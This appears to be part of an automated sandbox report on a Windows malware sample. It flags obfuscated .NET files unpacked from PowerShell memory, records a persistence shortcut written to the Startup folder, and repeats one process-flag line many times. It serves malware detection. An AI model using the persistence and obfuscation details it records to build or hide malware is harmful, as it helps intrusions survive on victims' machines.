Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 8ly6sYOYGHY603xNL.cs	High entropy of concatenated method names: 'sLYNuXqXwrGcoibVr', 'bNKycKIBtmRtxmPs4RSl2ywEoKHqMVzgDxon8o5p0gPrzRtRlCV71qInEpOvTWheAbC', 'SB8FbkxQv2FsTOH98lOMb38jnVL1w7Mu1ikdfVSSSXlpHBXvZIvAIpFwtv3RAIYQYAG', 'bAO2WcjBwkzl7q5i22aj0t67Tcg0WiSBoRp0QkKJOZDpTru1dRbblJOZAOnEh40zixe', 'JBfwxwoHWOChqJPbCdnaiPi4roExDsqERoIiK4YyxT8VqRIdW9T6SaFyGLaP9WRG46c'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 4Q2ibNxyBllaUbuES.cs	High entropy of concatenated method names: 'hqwMgvdTj6DxGmf4z', 'ZsPuYsgyWtYvjRnlJ', 'yKhQHew7k4ctpljue', 'YjvlW8vjJsH2uipxy', 'PdgEfFB0qqQQuh6Wf', 'RqccMv1T262c0QvEh', 'aRPJytsm2eLmOdLpe', 'i3jteoSI0etjX9adc', 'wU70MvasodcIojkyZ', 'wF3KJ9B1qqB8BORea'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, md2LJQvBQNx1MN7eq.cs	High entropy of concatenated method names: 'B7oHbSdkSekEZCEpe', 'rkBmSWmP8fsbiCbB8', 'XmivMOV2gPJWWW1qN', 'G6MlGij3qlLcy1gj3', '_7SGKsw3blHvncLZka', 'E4aHUO5Gp37AeSChb', '_4xgo7J0swz0RYjSo3', '_3X2jrP8IPinsurV8E', 'WA2IheLBxfG6dg0TV', 'lZ5NFpdf7RJUPYP9P'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, Hf0jRXweJYx23320j.cs	High entropy of concatenated method names: '_92sGAFfeSeEOY0xu6', 'JX0Nr18GmvFpa7SKqcaScZseZm6mdUQK5p66QOl0g6Rqwj8U9pcCUXkITLCnQeyAqKt', 'J7pLtFgW2B7Ht6AwgpuqxB7EpezdukgcFx3kKRqjlpCjOzHcUpAc62NRYcP4O56YjHo', 'U9w54ISTyQUq3K51Mlqmk81AQ2JHvSQPmNKJswg4Rf0K54SYDqacwHXnXqsLNFCzH3h', 'jVigYWjUotvmqlIwSfewdgstGGArnunYFuMVYkpUEo59e5p4xzOBnmBLljTx63FIluC'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, fVIHnGEA1n2LyrMvHdB5ZJhyHVgWioG.cs	High entropy of concatenated method names: 'VID28M9oZZYEM2JrUREYVz2QQT0zJ32', '_58URoK9IgBYP2nb12hCOuf6pMkyIsc5', 'BVMJMIgQWUeVzuViyxK09rU9HfDXmUz', 'd9qDZrxHmQPLwHS8KYjnUT3vdWW0rTY', 'ZS7BS6os0ql3YUQhAsMbKa7E89PZeUs', 'apAgjHd7IxfhBGZoC', 'N1W8xawn9mgdDSljN', 'oF3A0sgfCWW7RXkXV', 'miWvrTPhqtSVLdT8P', 'iSBXZTAL97lagi6Lu'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, XYfrwW5V593UMwIH2.cs	High entropy of concatenated method names: 'ItHc8NJ5k7ZtzJKAZ', 'Eb3vd67ceIchdOkiX', '_3D7Gn9Kw6yfIxqRJO', '_5PXS3q04AZHSMmy6OFu2FfkiseYHLTZaigLhKzo1MISQheUH7CKFshjb1Cle4Ob97dVQRqRl2zqUmzSPZIGc', 'YCJAqWvH64WVSp9bvnHWYpBmNlhqhjnJpzM3Ftk7UqkLNKMkoECQYNM5JSwJSh6HukHqUuEuIzNEPZa1RKzN', 'QOeu5YGf32YHKzOhIM7IjkTSIve1IOEUx7vKMBlOMlJ922GH0sxU64s0v2oqxWevKaF2pUM8HDddFZoLwgQb', 'uCwuP8WRzNLTedkvO99lo42mJKnDD458EQrzDhcOa0miJM9w4uZah6dgk1s02LQ2edt5aEUcKpDizzZrHJcb', 'EXTWBLsDIXcBtJSyg851l7mYfaoZr50H491p1hCPqEy0Hw8vAz9MCfib9tnU7QI6oP8c5pxIr2TSzW3OE46s', 'ry76lfycDTEEJ7vgzezcZosD6iKpXYC8kmCYR1tqtymNiXIBkUcAcdEvthBeOCY0uOPM32WKJLxlTdEntMGe', 'ZdAa0PDognTctZ8IYw8qxy32aDx5SN7EpMPlfExp3mJxT9KjdqixnJg0NyvccsWDcvV3M01sonz21Wvfbggm'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.cs	High entropy of concatenated method names: 'J8i9LR7WPfUm6lW25HtbTXzahDWe8rK3sa7vLQ2sKx0fbQ564', '_8tVhzDzSvnMENa6xZNBF8DTzRwfmWBnGtf4sZelYENLEh5hGD', 'nDSUS8CZiikAT0XcFHNbtJ36kUrMYs0HQ9hW4jLocFKFFxfxS', 'qnE5uWusqQvQ7TwQuk2yvfLox4IBSWyIEdNEtzOq4fGfzjOZ9'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, EcmUVfa1L5XqkaIH6HbHkBiwj0eT9cf.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'UMCPdJLg9iSRyhqP5FvuxVkzjCVrRuyyeTIDEqd4FJjUwsod0', 'SzrlcrGfy2u2qC7Iqs28vw5W46QgvrmeOwbwZztYWZvBbRvY7', 'EZPZj8foG2zP034kJM2GoBglg1xdz0Pq8u5yuHkqBX4wdflVh', 'kAPcN0kjRmrGe6pWclWkSwmbxPQiNj5tyZ7bLTzNcyYkWgC6D'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, gNcBSL9UPrQHBDmUF.cs	High entropy of concatenated method names: '_9B22Czp8skaw03xiR', 'hxSg8DMICskDTdoCS', 'MoemDsyMcPqZkQmFl', 'o0vipdyf1OR0ObXGC', 'UNgWlPJWKMnqjzLcC', 'oxN7UbaO4yjGdpcJ8', 'bXlppUX8DSBKrkOdu', 'dxUoO4xhcUzx8oO5J', '_8XfpFbokqCYleOWEk', 'NW8vqva4N9hXuPWGQ'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, uZaXYBDZ6KheGbUfWnzSAabcEeeKPaY.cs	High entropy of concatenated method names: 'br5eXuRVodgprDprWkCH3hlNi0uAyjq', 'huGMrIY793DeOvfpUaR7E0efSazDjry', 'RdsVqV7T3SuKZEp0FRpelYIHFByhBb1', '_51hXy89Hpv2exsGmU8getVVsb6IpCQP', 'pHQarxZg3Y7dOzlBoBfai8Q9GFjrfT5PP4htnu9UgYzBAi3pQ', 'imMUI5fEHwIG5o6gCoRWHNMco0qKWmqbDJhm3pQMQOnqk8L8u', 'zbd7zSMSH9TA8ISQUMqBkYhQC3jzXAQmMSyJMHp5ossUoDW7s', '_4dhtSd1ohqWIJpgU39W8XwMoqyBHktflfxVBR5ojWOWpBGv3D', 'IfH9jiTSaG8rVzVGVL8V2H6HtyEd0NEym60n0lZjzvct0N3RD', 'XRQJ25mbptn811DUe7igV0KPzx2FDoOzCjmNLBOHQ13uVkctP'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 8ly6sYOYGHY603xNL.cs	High entropy of concatenated method names: 'sLYNuXqXwrGcoibVr', 'bNKycKIBtmRtxmPs4RSl2ywEoKHqMVzgDxon8o5p0gPrzRtRlCV71qInEpOvTWheAbC', 'SB8FbkxQv2FsTOH98lOMb38jnVL1w7Mu1ikdfVSSSXlpHBXvZIvAIpFwtv3RAIYQYAG', 'bAO2WcjBwkzl7q5i22aj0t67Tcg0WiSBoRp0QkKJOZDpTru1dRbblJOZAOnEh40zixe', 'JBfwxwoHWOChqJPbCdnaiPi4roExDsqERoIiK4YyxT8VqRIdW9T6SaFyGLaP9WRG46c'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 4Q2ibNxyBllaUbuES.cs	High entropy of concatenated method names: 'hqwMgvdTj6DxGmf4z', 'ZsPuYsgyWtYvjRnlJ', 'yKhQHew7k4ctpljue', 'YjvlW8vjJsH2uipxy', 'PdgEfFB0qqQQuh6Wf', 'RqccMv1T262c0QvEh', 'aRPJytsm2eLmOdLpe', 'i3jteoSI0etjX9adc', 'wU70MvasodcIojkyZ', 'wF3KJ9B1qqB8BORea'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, md2LJQvBQNx1MN7eq.cs	High entropy of concatenated method names: 'B7oHbSdkSekEZCEpe', 'rkBmSWmP8fsbiCbB8', 'XmivMOV2gPJWWW1qN', 'G6MlGij3qlLcy1gj3', '_7SGKsw3blHvncLZka', 'E4aHUO5Gp37AeSChb', '_4xgo7J0swz0RYjSo3', '_3X2jrP8IPinsurV8E', 'WA2IheLBxfG6dg0TV', 'lZ5NFpdf7RJUPYP9P'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, Hf0jRXweJYx23320j.cs	High entropy of concatenated method names: '_92sGAFfeSeEOY0xu6', 'JX0Nr18GmvFpa7SKqcaScZseZm6mdUQK5p66QOl0g6Rqwj8U9pcCUXkITLCnQeyAqKt', 'J7pLtFgW2B7Ht6AwgpuqxB7EpezdukgcFx3kKRqjlpCjOzHcUpAc62NRYcP4O56YjHo', 'U9w54ISTyQUq3K51Mlqmk81AQ2JHvSQPmNKJswg4Rf0K54SYDqacwHXnXqsLNFCzH3h', 'jVigYWjUotvmqlIwSfewdgstGGArnunYFuMVYkpUEo59e5p4xzOBnmBLljTx63FIluC'
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, fVIHnGEA1n2LyrMvHdB5ZJhyHVgWioG.cs	High entropy of concatenated method names: 'VID28M9oZZYEM2JrUREYVz2QQT0zJ32', '_58URoK9IgBYP2nb12hCOuf6pMkyIsc5', 'BVMJMIgQWUeVzuViyxK09rU9HfDXmUz', 'd9qDZrxHmQPLwHS8KYjnUT3vdWW0rTY', 'ZS7BS6os0ql3YUQhAsMbKa7E89PZeUs', 'apAgjHd7IxfhBGZoC', 'N1W8xawn9mgdDSljN', 'oF3A0sgfCWW7RXkXV', 'miWvrTPhqtSVLdT8P', 'iSBXZTAL97lagi6Lu'

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___win________________________________________-------.lnk

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___win________________________________________-------.lnk

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
